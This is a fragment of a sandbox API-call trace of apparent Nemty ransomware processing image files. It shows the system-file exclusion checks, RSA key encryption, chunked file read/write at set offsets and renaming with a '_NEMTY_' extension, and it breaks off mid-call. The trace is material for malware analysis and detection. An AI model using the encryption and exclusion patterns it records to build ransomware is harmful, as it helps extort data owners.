[0157.291] lstrcmpiW (lpString1="45.png", lpString2=".") returned 1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="..") returned 1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="...") returned 1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="windows") returned -1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="$RECYCLE.BIN") returned 1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="rsa") returned -1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="NTDETECT.COM") returned -1 [0157.291] lstrcmpiW (lpString1="45.png", lpString2="ntldr") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="MSDOS.SYS") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="IO.SYS") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="boot.ini") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="boot.ini") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="ntuser.dat") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="desktop.ini") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="CONFIG.SYS") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="RECYCLER") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="BOOTSECT.BAK") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="bootmgr") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="programdata") returned -1 [0157.292] lstrcmpiW (lpString1="45.png", lpString2="appdata") returned -1 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="45.png", lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="45.png", lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="45.png", lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="45.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="45.png", lpUsedDefaultChar=0x0) returned 6 [0157.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.292] Sleep (dwMilliseconds=0x5) [0157.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11668cd0, dwHighDateTime=0x1d561e8)) [0157.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11668cd0, dwHighDateTime=0x1d561e8)) [0157.293] GetLastError () returned 0x5 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.293] GetLastError () returned 0x5 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.293] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.293] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.293] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.293] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="FIxYTrkP5LQKRgrDmU2KR9dwvLcmPQcuwzu7DtR42ceBpQ5J+6pYfB1zpomc9ldD\r\nQ6rCR4U9Tm5Sy15CqVLliufuKCkHJ0xDfwRc7MclKM62OM97VFj+b7yYKv2/iPHl\r\nmwom7Cd9ns0fN5S+H7uw43v0bpGVLmXkDrQoXIHpLGI4Zya57O2XKW/cW0Z6Qp5U\r\nWmQ209p1J1T8S6cQD1utGz0XaJPPiDQ8mlCc34T2HNd0DmZqe861ssmmxiVQFJQK\r\nCuBJ7w+rkKazH/U/GjXUBtgOMrO13aJuJaJYOW+FX8WJdj0y4aA3vAatDz0ujBaH\r\nqynd2HoYHRf6p6JOPunBwA==\r\n", pcchString=0x653e91c) returned 1 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.293] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.293] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.401] CloseHandle (hObject=0xffffffff) returned 0 [0157.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png._nemty_kgobjgd_")) returned 0 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.401] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="46.png", cAlternateFileName="")) returned 1 [0157.401] lstrcmpiW (lpString1="46.png", lpString2=".") returned 1 [0157.401] lstrcmpiW (lpString1="46.png", lpString2="..") returned 1 [0157.401] lstrcmpiW (lpString1="46.png", lpString2="...") returned 1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="windows") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="$RECYCLE.BIN") returned 1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="rsa") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="NTDETECT.COM") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="ntldr") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="MSDOS.SYS") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="IO.SYS") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="boot.ini") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="boot.ini") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="ntuser.dat") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="desktop.ini") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="CONFIG.SYS") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="RECYCLER") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="BOOTSECT.BAK") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="bootmgr") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="programdata") returned -1 [0157.402] lstrcmpiW (lpString1="46.png", lpString2="appdata") returned -1 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="46.png", lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="46.png", lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="46.png", lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="46.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="46.png", lpUsedDefaultChar=0x0) returned 6 [0157.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.402] Sleep (dwMilliseconds=0x5) [0157.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x117997d0, dwHighDateTime=0x1d561e8)) [0157.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x117997d0, dwHighDateTime=0x1d561e8)) [0157.417] GetLastError () returned 0x5 [0157.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.417] GetLastError () returned 0x5 [0157.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 